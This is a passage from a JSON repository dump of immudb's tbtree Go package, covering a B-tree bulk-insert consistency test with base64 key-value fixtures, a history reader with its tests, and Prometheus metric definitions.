{\"K\":\"AQAAAAAAAABJdmNuLmRlbW8uM2QyZDNkOGFhMDVmOTAzNWY2YzliMzc4ZDdmYTdmYmIzZTA0YWRkNDczNTY3NDNmMjM3ODhiN2NhMmQ3ODE2MEO2xYln5qvjAAAAAAAAAEoAdmNuLmRlbW8uM2QyZDNkOGFhMDVmOTAzNWY2YzliMzc4ZDdmYTdmYmIzZTA0YWRkNDczNTY3NDNmMjM3ODhiN2NhMmQ3ODE2MAAAAAAAAAAD\",\"V\":\"AAAAAAAAAAAAAAAA47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFUAAAAA\"},\n\t\t  {\"K\":\"AF9JVEVNLkFQSS1LRVkuM2QyZDNkOGFhMDVmOTAzNWY2YzliMzc4ZDdmYTdmYmIzZTA0YWRkNDczNTY3NDNmMjM3ODhiN2NhMmQ3ODE2MA==\",\"V\":\"AAAABQEAAAAAAAPJ8Neff7t52x3vQgBpyzVHQTuoQLBI8YWiaTPZ5GPI9ZoAAAAA\"},\n\t\t  {\"K\":\"AQAAAAAAAABDX0lURU0uQVBJLUtFWS1GVUxMLmRlbW8uckJPbXFPam1zMzVZUFBoaE1abENrdnF6UkZJanhhYy1PMGg0R2dsNkRqY0O2xYln5qvjAAAAAAAAAEoAdmNuLmRlbW8uM2QyZDNkOGFhMDVmOTAzNWY2YzliMzc4ZDdmYTdmYmIzZTA0YWRkNDczNTY3NDNmMjM3ODhiN2NhMmQ3ODE2MAAAAAAAAAAD\",\"V\":\"AAAAAAAAAAAAAAAA47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFUAAAAA\"},\n\t\t  {\"K\":\"AQAAAAAAAAAgZ2l0aHViLmNvbS9kb2NrZXIvZ28tY29ubmVjdGlvbnMAAAAAAAAAAAAAAAAAAABKAHZjbi5kZW1vLjNkMmQzZDhhYTA1ZjkwMzVmNmM5YjM3OGQ3ZmE3ZmJiM2UwNGFkZDQ3MzU2NzQzZjIzNzg4YjdjYTJkNzgxNjAAAAAAAAAAAA==\",\"V\":\"AAAAAAAAAAAAAAAA47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFUAAAAA\"},\n\t\t  {\"K\":\"AF9JVEVNLkxFREdFUi1OQU1FLnZjbi5kZW1vLjNkMmQzZDhhYTA1ZjkwMzVmNmM5YjM3OGQ3ZmE3ZmJiM2UwNGFkZDQ3MzU2NzQzZjIzNzg4YjdjYTJkNzgxNjA=\",\"V\":\"AAAADAEAAAAAAAPO8HpkwEmpRXStn2PtPpvaG5L3vSc9FFmYLNIVcPnWG2YAAAAA\"}]`,\n\t\t`[{\"K\":\"AGttZDp2Y24uZGVtby5jN2IzYjA3YTZmMmUwYjA5YzJmZjAyMjUyMmNmZjEyZTU4Y2IyZjY2ZTc2YzQ5NDc5Mjg5ZjgzYjU0OWJkMGEx\",\"V\":\"AAAAwwEAAAAAAAPagKSu85ddamKe4wtau/U03ail/ti4c09Zz/ausId1UYEAAAAA\"},\n\t\t  {\"K\":\"AHZjbi5kZW1vLmM3YjNiMDdhNmYyZTBiMDljMmZmMDIyNTIyY2ZmMTJlNThjYjJmNjZlNzZjNDk0NzkyODlmODNiNTQ5YmQwYTE=\",\"V\":\"AAAA/gEAAAAAAASd6IM9NeaVPp+8zqYJRByNtS7mOy6b0FlUu3l4XRXxnqEAAAAA\"},\n\t\t  {\"K\":\"AF9JVEVNLklOU0VSVElPTi1EQVRFLhbFiWfoqPxK\",\"V\":\"AAAAEAEAAAAAAAWbu5gmphoDTne4y4O6aoKT03KmqqqZQqOhP00SrhHQD50AAAAA\"},\n\t\t  {\"K\":\"AQAAAAAAAABAYzdiM2IwN2E2ZjJlMGIwOWMyZmYwMjI1MjJjZmYxMmU1OGNiMmY2NmU3NmM0OTQ3OTI4OWY4M2I1NDliZDBhMUO2xYln6Kj8AAAAAAAAAEoAdmNuLmRlbW8uYzdiM2IwN2E2ZjJlMGIwOWMyZmYwMjI1MjJjZmYxMmU1OGNiMmY2NmU3NmM0OTQ3OTI4OWY4M2I1NDliZDBhMQAAAAAAAAAE\",\"V\":\"AAAAAAAAAAAAAAAA47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFUAAAAA\"},\n\t\t  {\"K\":\"AQAAAAAAAABbX0lOREVYLklURU0uSU5TRVJUSU9OLURBVEUuYzdiM2IwN2E2ZjJlMGIwOWMyZmYwMjI1MjJjZmYxMmU1OGNiMmY2NmU3NmM0OTQ3OTI4OWY4M2I1NDliZDBhMUO2xYln6Kj8AAAAAAAAAEoAdmNuLmRlbW8uYzdiM2IwN2E2ZjJlMGIwOWMyZmYwMjI1MjJjZmYxMmU1OGNiMmY2NmU3NmM0OTQ3OTI4OWY4M2I1NDliZDBhMQAAAAAAAAAE\",\"V\":\"AAAAAAAAAAAAAAAA47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFUAAAAA\"},\n\t\t  {\"K\":\"AQAAAAAAAABJdmNuLmRlbW8uYzdiM2IwN2E2ZjJlMGIwOWMyZmYwMjI1MjJjZmYxMmU1OGNiMmY2NmU3NmM0OTQ3OTI4OWY4M2I1NDliZDBhMUO2xYln6Kj8AAAAAAAAAEoAdmNuLmRlbW8uYzdiM2IwN2E2ZjJlMGIwOWMyZmYwMjI1MjJjZmYxMmU1OGNiMmY2NmU3NmM0OTQ3OTI4OWY4M2I1NDliZDBhMQAAAAAAAAAE\",\"V\":\"AAAAAAAAAAAAAAAA47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFUAAAAA\"},\n\t\t  {\"K\":\"AF9JVEVNLkFQSS1LRVkuYzdiM2IwN2E2ZjJlMGIwOWMyZmYwMjI1MjJjZmYxMmU1OGNiMmY2NmU3NmM0OTQ3OTI4OWY4M2I1NDliZDBhMQ==\",\"V\":\"AAAABQEAAAAAAAWr8Neff7t52x3vQgBpyzVHQTuoQLBI8YWiaTPZ5GPI9ZoAAAAA\"},\n\t\t  {\"K\":\"AQAAAAAAAABDX0lURU0uQVBJLUtFWS1GVUxMLmRlbW8uckJPbXFPam1zMzVZUFBoaE1abENrdnF6UkZJanhhYy1PMGg0R2dsNkRqY0O2xYln6Kj8AAAAAAAAAEoAdmNuLmRlbW8uYzdiM2IwN2E2ZjJlMGIwOWMyZmYwMjI1MjJjZmYxMmU1OGNiMmY2NmU3NmM0OTQ3OTI4OWY4M2I1NDliZDBhMQAAAAAAAAAE\",\"V\":\"AAAAAAAAAAAAAAAA47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFUAAAAA\"},\n\t\t  {\"K\":\"AQAAAAAAAAAYZ2l0aHViLmNvbS9kb2NrZXIvZG9ja2VyAAAAAAAAAAAAAAAAAAAASgB2Y24uZGVtby5jN2IzYjA3YTZmMmUwYjA5YzJmZjAyMjUyMmNmZjEyZTU4Y2IyZjY2ZTc2YzQ5NDc5Mjg5ZjgzYjU0OWJkMGExAAAAAAAAAAA=\",\"V\":\"AAAAAAAAAAAAAAAA47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFUAAAAA\"},\n\t\t  {\"K\":\"AF9JVEVNLkxFREdFUi1OQU1FLnZjbi5kZW1vLmM3YjNiMDdhNmYyZTBiMDljMmZmMDIyNTIyY2ZmMTJlNThjYjJmNjZlNzZjNDk0NzkyODlmODNiNTQ5YmQwYTE=\",\"V\":\"AAAADAEAAAAAAAWw8HpkwEmpRXStn2PtPpvaG5L3vSc9FFmYLNIVcPnWG2YAAAAA\"}]`,\n\t\t`[{\"K\":\"AGttZDp2Y24uZGVtby5mNzE4MmViNGNmOTE2NDVjNWVmM2VjYzU4MTQyYWRlNzRmYmNmZGI3N2I1YTZlNmIzZjc2YWZlN2M4YTZiZmM5\",\"V\":\"AAAAwwEAAAAAAAW8gKSu85ddamKe4wtau/U03ail/ti4c09Zz/ausId1UYEAAAAA\"},\n\t\t  {\"K\":\"AHZjbi5kZW1vLmY3MTgyZWI0Y2Y5MTY0NWM1ZWYzZWNjNTgxNDJhZGU3NGZiY2ZkYjc3YjVhNmU2YjNmNzZhZmU3YzhhNmJmYzk=\",\"V\":\"AAABBAEAAAAAAAZ/bpClOUi+YWwQ8pnC4BS39Mn4VAVy0pbLiWMj1AIP/T8AAAAA\"},\n\t\t  {\"K\":\"AF9JVEVNLklOU0VSVElPTi1EQVRFLhbFiWfqsJRO\",\"V\":\"AAAAEAEAAAAAAAeDxh3Ja+ECHcmdYXCyw81rrKoFv8cAJF6NiyI9MpCRCoMAAAAA\"},\n\t\t  {\"K\":\"AQAAAAAAAABAZjcxODJlYjRjZjkxNjQ1YzVlZjNlY2M1ODE0MmFkZTc0ZmJjZmRiNzdiNWE2ZTZiM2Y3NmFmZTdjOGE2YmZjOUO2xYln6rCUAAAAAAAAAEoAdmNuLmRlbW8uZjcxODJlYjRjZjkxNjQ1YzVlZjNlY2M1ODE0MmFkZTc0ZmJjZmRiNzdiNWE2ZTZiM2Y3NmFmZTdjOGE2YmZjOQAAAAAAAAAF\",\"V\":\"AAAAAAAAAAAAAAAA47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFUAAAAA\"},\n\t\t  {\"K\":\"AQAAAAAAAABbX0lOREVYLklURU0uSU5TRVJUSU9OLURBVEUuZjcxODJlYjRjZjkxNjQ1YzVlZjNlY2M1ODE0MmFkZTc0ZmJjZmRiNzdiNWE2ZTZiM2Y3NmFmZTdjOGE2YmZjOUO2xYln6rCUAAAAAAAAAEoAdmNuLmRlbW8uZjcxODJlYjRjZjkxNjQ1YzVlZjNlY2M1ODE0MmFkZTc0ZmJjZmRiNzdiNWE2ZTZiM2Y3NmFmZTdjOGE2YmZjOQAAAAAAAAAF\",\"V\":\"AAAAAAAAAAAAAAAA47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFUAAAAA\"},\n\t\t  {\"K\":\"AQAAAAAAAABJdmNuLmRlbW8uZjcxODJlYjRjZjkxNjQ1YzVlZjNlY2M1ODE0MmFkZTc0ZmJjZmRiNzdiNWE2ZTZiM2Y3NmFmZTdjOGE2YmZjOUO2xYln6rCUAAAAAAAAAEoAdmNuLmRlbW8uZjcxODJlYjRjZjkxNjQ1YzVlZjNlY2M1ODE0MmFkZTc0ZmJjZmRiNzdiNWE2ZTZiM2Y3NmFmZTdjOGE2YmZjOQAAAAAAAAAF\",\"V\":\"AAAAAAAAAAAAAAAA47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFUAAAAA\"},\n\t\t  {\"K\":\"AF9JVEVNLkFQSS1LRVkuZjcxODJlYjRjZjkxNjQ1YzVlZjNlY2M1ODE0MmFkZTc0ZmJjZmRiNzdiNWE2ZTZiM2Y3NmFmZTdjOGE2YmZjOQ==\",\"V\":\"AAAABQEAAAAAAAeT8Neff7t52x3vQgBpyzVHQTuoQLBI8YWiaTPZ5GPI9ZoAAAAA\"},\n\t\t  {\"K\":\"AQAAAAAAAABDX0lURU0uQVBJLUtFWS1GVUxMLmRlbW8uckJPbXFPam1zMzVZUFBoaE1abENrdnF6UkZJanhhYy1PMGg0R2dsNkRqY0O2xYln6rCUAAAAAAAAAEoAdmNuLmRlbW8uZjcxODJlYjRjZjkxNjQ1YzVlZjNlY2M1ODE0MmFkZTc0ZmJjZmRiNzdiNWE2ZTZiM2Y3NmFmZTdjOGE2YmZjOQAAAAAAAAAF\",\"V\":\"AAAAAAAAAAAAAAAA47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFUAAAAA\"},\n\t\t  {\"K\":\"AQAAAAAAAAAeZ2l0aHViLmNvbS9kb2NrZXIvZGlzdHJpYnV0aW9uAAAAAAAAAAAAAAAAAAAASgB2Y24uZGVtby5mNzE4MmViNGNmOTE2NDVjNWVmM2VjYzU4MTQyYWRlNzRmYmNmZGI3N2I1YTZlNmIzZjc2YWZlN2M4YTZiZmM5AAAAAAAAAAA=\",\"V\":\"AAAAAAAAAAAAAAAA47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFUAAAAA\"},\n\t\t  {\"K\":\"AF9JVEVNLkxFREdFUi1OQU1FLnZjbi5kZW1vLmY3MTgyZWI0Y2Y5MTY0NWM1ZWYzZWNjNTgxNDJhZGU3NGZiY2ZkYjc3YjVhNmU2YjNmNzZhZmU3YzhhNmJmYzk=\",\"V\":\"AAAADAEAAAAAAAeY8HpkwEmpRXStn2PtPpvaG5L3vSc9FFmYLNIVcPnWG2YAAAAA\"}]`,\n\t\t`[{\"K\":\"AGttZDp2Y24uZGVtby4wYTYyOGRhNWY1MmQ4NDZlNDhlNjA2NDUxMGJjODU5MGVjYzZmNjM2NTBlZjgzZjRjYjc3MWEyYzA1MTRkY2Zl\",\"V\":\"AAAAwwEAAAAAAAekgKSu85ddamKe4wtau/U03ail/ti4c09Zz/ausId1UYEAAAAA\"},\n\t\t  {\"K\":\"AHZjbi5kZW1vLjBhNjI4ZGE1ZjUyZDg0NmU0OGU2MDY0NTEwYmM4NTkwZWNjNmY2MzY1MGVmODNmNGNiNzcxYTJjMDUxNGRjZmU=\",\"V\":\"AAABAAEAAAAAAAhn6SaKEwL5NZnH6J5CAqI3vYZGhBOxrvvXUah3h8KgfdUAAAAA\"},\n\t\t  {\"K\":\"AF9JVEVNLklOU0VSVElPTi1EQVRFLhbFiWfsxGYs\",\"V\":\"AAAAEAEAAAAAAAlnopZEIk8LSBOHvsx/1RDdRw778wFJl4/FwTUNYmCqRAwAAAAA\"},\n\t\t  {\"K\":\"AQAAAAAAAABAMGE2MjhkYTVmNTJkODQ2ZTQ4ZTYwNjQ1MTBiYzg1OTBlY2M2ZjYzNjUwZWY4M2Y0Y2I3NzFhMmMwNTE0ZGNmZUO2xYln7MRmAAAAAAAAAEoAdmNuLmRlbW8uMGE2MjhkYTVmNTJkODQ2ZTQ4ZTYwNjQ1MTBiYzg1OTBlY2M2ZjYzNjUwZWY4M2Y0Y2I3NzFhMmMwNTE0ZGNmZQAAAAAAAAAG\",\"V\":\"AAAAAAAAAAAAAAAA47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFUAAAAA\"},\n\t\t  {\"K\":\"AQAAAAAAAABbX0lOREVYLklURU0uSU5TRVJUSU9OLURBVEUuMGE2MjhkYTVmNTJkODQ2ZTQ4ZTYwNjQ1MTBiYzg1OTBlY2M2ZjYzNjUwZWY4M2Y0Y2I3NzFhMmMwNTE0ZGNmZUO2xYln7MRmAAAAAAAAAEoAdmNuLmRlbW8uMGE2MjhkYTVmNTJkODQ2ZTQ4ZTYwNjQ1MTBiYzg1OTBlY2M2ZjYzNjUwZWY4M2Y0Y2I3NzFhMmMwNTE0ZGNmZQAAAAAAAAAG\",\"V\":\"AAAAAAAAAAAAAAAA47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFUAAAAA\"},\n\t\t  {\"K\":\"AQAAAAAAAABJdmNuLmRlbW8uMGE2MjhkYTVmNTJkODQ2ZTQ4ZTYwNjQ1MTBiYzg1OTBlY2M2ZjYzNjUwZWY4M2Y0Y2I3NzFhMmMwNTE0ZGNmZUO2xYln7MRmAAAAAAAAAEoAdmNuLmRlbW8uMGE2MjhkYTVmNTJkODQ2ZTQ4ZTYwNjQ1MTBiYzg1OTBlY2M2ZjYzNjUwZWY4M2Y0Y2I3NzFhMmMwNTE0ZGNmZQAAAAAAAAAG\",\"V\":\"AAAAAAAAAAAAAAAA47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFUAAAAA\"},\n\t\t  {\"K\":\"AF9JVEVNLkFQSS1LRVkuMGE2MjhkYTVmNTJkODQ2ZTQ4ZTYwNjQ1MTBiYzg1OTBlY2M2ZjYzNjUwZWY4M2Y0Y2I3NzFhMmMwNTE0ZGNmZQ==\",\"V\":\"AAAABQEAAAAAAAl38Neff7t52x3vQgBpyzVHQTuoQLBI8YWiaTPZ5GPI9ZoAAAAA\"},\n\t\t  {\"K\":\"AQAAAAAAAABDX0lURU0uQVBJLUtFWS1GVUxMLmRlbW8uckJPbXFPam1zMzVZUFBoaE1abENrdnF6UkZJanhhYy1PMGg0R2dsNkRqY0O2xYln7MRmAAAAAAAAAEoAdmNuLmRlbW8uMGE2MjhkYTVmNTJkODQ2ZTQ4ZTYwNjQ1MTBiYzg1OTBlY2M2ZjYzNjUwZWY4M2Y0Y2I3NzFhMmMwNTE0ZGNmZQAAAAAAAAAG\",\"V\":\"AAAAAAAAAAAAAAAA47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFUAAAAA\"},\n\t\t  {\"K\":\"AQAAAAAAAAAaZ2l0aHViLmNvbS9kb2NrZXIvZ28tdW5pdHMAAAAAAAAAAAAAAAAAAABKAHZjbi5kZW1vLjBhNjI4ZGE1ZjUyZDg0NmU0OGU2MDY0NTEwYmM4NTkwZWNjNmY2MzY1MGVmODNmNGNiNzcxYTJjMDUxNGRjZmUAAAAAAAAAAA==\",\"V\":\"AAAAAAAAAAAAAAAA47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFUAAAAA\"},\n\t\t  {\"K\":\"AF9JVEVNLkxFREdFUi1OQU1FLnZjbi5kZW1vLjBhNjI4ZGE1ZjUyZDg0NmU0OGU2MDY0NTEwYmM4NTkwZWNjNmY2MzY1MGVmODNmNGNiNzcxYTJjMDUxNGRjZmU=\",\"V\":\"AAAADAEAAAAAAAl88HpkwEmpRXStn2PtPpvaG5L3vSc9FFmYLNIVcPnWG2YAAAAA\"}]`,\n\t}\n\n\tt.Run(\"no flush\", func(t *testing.T) {\n\t\ttbtree, err := Open(t.TempDir(), DefaultOptions())\n\t\trequire.NoError(t, err)\n\t\tdefer tbtree.Close()\n\n\t\tfor _, d := range dataset {\n\t\t\tkvs := []*KVT{}\n\t\t\trequire.NoError(t, json.Unmarshal([]byte(d), &kvs))\n\n\t\t\tfor _, kv := range kvs {\n\t\t\t\terr := tbtree.BulkInsert([]*KVT{kv})\n\t\t\t\trequire.NoError(t, err)\n\n\t\t\t\tconsistencyCheck(t, tbtree, tbtree.root)\n\t\t\t}\n\t\t}\n\t})\n\n\tt.Run(\"with flush\", func(t *testing.T) {\n\t\ttbtree, err := Open(t.TempDir(), DefaultOptions())\n\t\trequire.NoError(t, err)\n\t\tdefer tbtree.Close()\n\n\t\tfor _, d := range dataset {\n\t\t\tkvs := []*KVT{}\n\t\t\trequire.NoError(t, json.Unmarshal([]byte(d), &kvs))\n\n\t\t\tfor _, kv := range kvs {\n\t\t\t\ttbtree.Flush()\n\t\t\t\terr := tbtree.BulkInsert([]*KVT{kv})\n\t\t\t\trequire.NoError(t, err)\n\n\t\t\t\tconsistencyCheck(t, tbtree, tbtree.root)\n\t\t\t}\n\t\t}\n\t})\n}\n"
  },
  {
    "path": "embedded/tbtree/history_reader.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage tbtree\n\ntype HistoryReaderSpec struct {\n\tKey       []byte\n\tOffset    uint64\n\tDescOrder bool\n\tReadLimit int\n}\n\ntype HistoryReader struct {\n\tid       int\n\tsnapshot *Snapshot\n\tclosed   bool\n\n\tkey       []byte\n\toffset    uint64\n\tdescOrder bool\n\treadLimit int\n}\n\nfunc newHistoryReader(id int, snap *Snapshot, spec *HistoryReaderSpec) (*HistoryReader, error) {\n\tif spec == nil {\n\t\treturn nil, ErrIllegalArguments\n\t}\n\n\t//TODO (jeroiraz): locate leafnode at which `key`is stored so to avoid searching on the tree on each Read call\n\n\treturn &HistoryReader{\n\t\tid:       id,\n\t\tsnapshot: snap,\n\t\tclosed:   false,\n\n\t\tkey:       spec.Key,\n\t\toffset:    spec.Offset,\n\t\tdescOrder: spec.DescOrder,\n\t\treadLimit: spec.ReadLimit,\n\t}, nil\n}\n\nfunc (r *HistoryReader) Read() ([]TimedValue, error) {\n\tif r.closed {\n\t\treturn nil, ErrAlreadyClosed\n\t}\n\n\ttimedValues, _, err := r.snapshot.History(r.key, r.offset, r.descOrder, r.readLimit)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tr.offset += uint64(len(timedValues))\n\n\treturn timedValues, nil\n}\n\nfunc (r *HistoryReader) Close() error {\n\tif r.closed {\n\t\treturn ErrAlreadyClosed\n\t}\n\n\tr.snapshot.closedReader(r.id)\n\tr.closed = true\n\n\treturn nil\n}\n"
  },
  {
    "path": "embedded/tbtree/history_reader_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage tbtree\n\nimport (\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestHistoryReaderEdgeCases(t *testing.T) {\n\ttbtree, err := Open(t.TempDir(), DefaultOptions())\n\trequire.NoError(t, err)\n\n\tsnapshot, err := tbtree.Snapshot()\n\trequire.NotNil(t, snapshot)\n\trequire.NoError(t, err)\n\tdefer snapshot.Close()\n\n\t_, err = snapshot.NewHistoryReader(nil)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\trspec := &HistoryReaderSpec{\n\t\tKey:       []byte{0, 0, 0, 250},\n\t\tOffset:    0,\n\t\tDescOrder: false,\n\t}\n\n\treader, err := snapshot.NewHistoryReader(rspec)\n\trequire.NoError(t, err)\n\n\terr = snapshot.Close()\n\trequire.ErrorIs(t, err, ErrReadersNotClosed)\n\n\terr = reader.Close()\n\trequire.NoError(t, err)\n\n\terr = reader.Close()\n\trequire.ErrorIs(t, err, ErrAlreadyClosed)\n\n\t_, err = reader.Read()\n\trequire.ErrorIs(t, err, ErrAlreadyClosed)\n}\n\nfunc TestHistoryReaderAscendingScan(t *testing.T) {\n\topts := DefaultOptions().\n\t\tWithMaxKeySize(8).\n\t\tWithMaxValueSize(8)\n\n\topts.WithMaxNodeSize(requiredNodeSize(opts.maxKeySize, opts.maxValueSize))\n\n\ttbtree, err := Open(t.TempDir(), opts)\n\trequire.NoError(t, err)\n\n\titCount := 10\n\tkeyCount := 1000\n\n\tmonotonicInsertions(t, tbtree, itCount, keyCount, true)\n\n\tsnapshot, err := tbtree.Snapshot()\n\trequire.NotNil(t, snapshot)\n\trequire.NoError(t, err)\n\tdefer func() {\n\t\terr := snapshot.Close()\n\t\trequire.NoError(t, err)\n\t}()\n\n\trspec := &HistoryReaderSpec{\n\t\tKey:       []byte{0, 0, 0, 250},\n\t\tOffset:    0,\n\t\tDescOrder: false,\n\t\tReadLimit: itCount,\n\t}\n\n\treader, err := snapshot.NewHistoryReader(rspec)\n\trequire.NoError(t, err)\n\n\tdefer reader.Close()\n\n\terr = snapshot.Close()\n\trequire.ErrorIs(t, err, ErrReadersNotClosed)\n\n\tfor {\n\t\ttvs, err := reader.Read()\n\t\tif err != nil {\n\t\t\trequire.ErrorIs(t, err, ErrNoMoreEntries)\n\t\t\tbreak\n\t\t}\n\n\t\trequire.Len(t, tvs, itCount)\n\n\t\tfor i := 0; i < itCount; i++ {\n\t\t\trequire.Equal(t, uint64(250+1+i*keyCount), tvs[i].Ts)\n\t\t}\n\t}\n}\n\nfunc TestHistoryReaderDescendingScan(t *testing.T) {\n\topts := DefaultOptions().\n\t\tWithMaxKeySize(4).\n\t\tWithMaxValueSize(8)\n\n\topts.WithMaxNodeSize(requiredNodeSize(opts.maxKeySize, opts.maxValueSize))\n\n\ttbtree, err := Open(t.TempDir(), opts)\n\trequire.NoError(t, err)\n\n\titCount := 10\n\tkeyCount := 1000\n\n\tmonotonicInsertions(t, tbtree, itCount, keyCount, true)\n\n\tsnapshot, err := tbtree.Snapshot()\n\trequire.NotNil(t, snapshot)\n\trequire.NoError(t, err)\n\tdefer func() {\n\t\terr := snapshot.Close()\n\t\trequire.NoError(t, err)\n\t}()\n\n\trspec := &HistoryReaderSpec{\n\t\tKey:       []byte{0, 0, 0, 250},\n\t\tOffset:    0,\n\t\tDescOrder: true,\n\t\tReadLimit: itCount,\n\t}\n\n\treader, err := snapshot.NewHistoryReader(rspec)\n\trequire.NoError(t, err)\n\n\tdefer reader.Close()\n\n\terr = snapshot.Close()\n\trequire.ErrorIs(t, err, ErrReadersNotClosed)\n\n\tfor {\n\t\ttvs, err := reader.Read()\n\t\tif err != nil {\n\t\t\trequire.ErrorIs(t, err, ErrNoMoreEntries)\n\t\t\tbreak\n\t\t}\n\n\t\trequire.Len(t, tvs, itCount)\n\n\t\tfor i := 0; i < itCount; i++ {\n\t\t\trequire.Equal(t, uint64(250+1+i*keyCount), tvs[len(tvs)-1-i].Ts)\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "embedded/tbtree/metrics.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\npackage tbtree\n\nimport (\n\t\"github.com/prometheus/client_golang/prometheus\"\n\t\"github.com/prometheus/client_golang/prometheus/promauto\"\n)\n\n// TODO: Those should be put behind abstract metrics system to avoid dependency on\n//\n//\tprometheus inside embedded package\nvar metricsFlushedNodesLastCycle = promauto.NewGaugeVec(prometheus.GaugeOpts{\n\tName: \"immudb_btree_flushed_nodes_last_cycle\",\n\tHelp: \"Numbers of btree nodes written to disk during the last flush process\",\n}, []string{\"id\", \"kind\"})\n\nvar metricsFlushedNodesTotal = promauto.NewCounterVec(prometheus.CounterOpts{\n\tName: \"immudb_btree_flushed_nodes_total\",\n\tHelp: \"Number of btree nodes written to disk during flush since the immudb process was started\",\n}, []string{\"id\", \"kind\"})\n\nvar metricsFlushedEntriesLastCycle = promauto.NewGaugeVec(prometheus.GaugeOpts{\n\tName: \"immudb_btree_flushed_entries_last_cycle\",\n\tHelp: \"Numbers of btree entries written to disk during the last flush process\",\n}, []string{\"id\"})\n\nvar metricsFlushedEntriesTotal = promauto.NewCounterVec(prometheus.CounterOpts{\n\tName: \"immudb_btree_flushed_entries_total\",\n\tHelp: \"Number of btree entries written to disk during flush since the immudb process was started\",\n}, []string{\"id\"})\n\nvar metricsCompactedNodesLastCycle = promauto.NewGaugeVec(prometheus.GaugeOpts{\n\tName: \"immudb_btree_compacted_nodes_last_cycle\",\n\tHelp: \"Numbers of btree nodes written to disk during the last compaction process\",\n}, []string{\"id\", \"kind\"})\n\nvar metricsCompactedNodesTotal = promauto.NewCounterVec(prometheus.CounterOpts{\n\tName: \"immudb_btree_compacted_nodes_total\",\n\tHelp: \"Number of btree nodes written to disk during compaction since the immudb process was started\",\n}, []string{\"id\", \"kind\"})\n\nvar metricsCompactedEntriesLastCycle = promauto.NewGaugeVec(prometheus.GaugeOpts{\n\tName: \"immudb_btree_compacted_entries_last_cycle\",\n\tHelp: \"Numbers of btree entries written to disk during the last compaction process\",\n}, []string{\"id\"})\n\nvar metricsCompactedEntriesTotal = promauto.NewCounterVec(prometheus.CounterOpts{\n\tName: \"immudb_btree_compacted_entries_total\",\n\tHelp: \"Number of btree entries written to disk during compaction since the immudb process was started\",\n}, []string{\"id\"})\n\nvar metricsCacheSizeStats = promauto.NewGaugeVec(prometheus.GaugeOpts{\n\tName: \"immudb_btree_cache_size\",\n\tHelp: \"number of entries in btree cache\",\n}, []string{\"id\"})\n\nvar metricsCacheHit = promauto.NewCounterVec(prometheus.CounterOpts{\n\tName: \"immudb_btree_cache_hit\",\n\tHelp: \"Number of btree cache hits when getting btree node\",\n}, []string{\"id\"})\n\nvar metricsCacheMiss = promauto.NewCounterVec(prometheus.CounterOpts{\n\tName: \"immudb_btree_cache_miss\",\n\tHelp: \"Number of btree cache misses when getting btree node\",\n}, []string{\"id\"})\n\nvar metricsCacheEvict = promauto.NewCounterVec(prometheus.CounterOpts{\n\tName: \"immudb_btree_cache_evict\",\n\tHelp: \"Number of btree nodes evicted from cache\",\n}, []string{\"id\"})\n\nvar metricsBtreeDepth = promauto.NewGaugeVec(prometheus.GaugeOpts{\n\tName: \"immudb_btree_depth\",\n\tHelp: \"Btree depth\",\n}, []string{\"id\"})\n\nvar metricsBtreeNodeEntriesHistogramBuckets = []float64{\n\t1, 2, 3, 4, 5, 6, 7, 8, 9,\n\t10, 15, 20, 25, 30, 40, 50, 75,\n\t100, 200, 300, 400, 500, 600, 700, 800, 900,\n\t1000, 1200, 1400, 1600, 1800,\n\t2000, 2500, 3000, 3500, 4000,\n}\n\nvar metricsBtreeInnerNodeEntries = promauto.NewHistogramVec(prometheus.HistogramOpts{\n\tName:    \"immudb_btree_inner_node_entries\",\n\tHelp:    \"Histogram of number of entries in as single inner btree node, calculated when visiting btree nodes\",\n\tBuckets: metricsBtreeNodeEntriesHistogramBuckets,\n}, 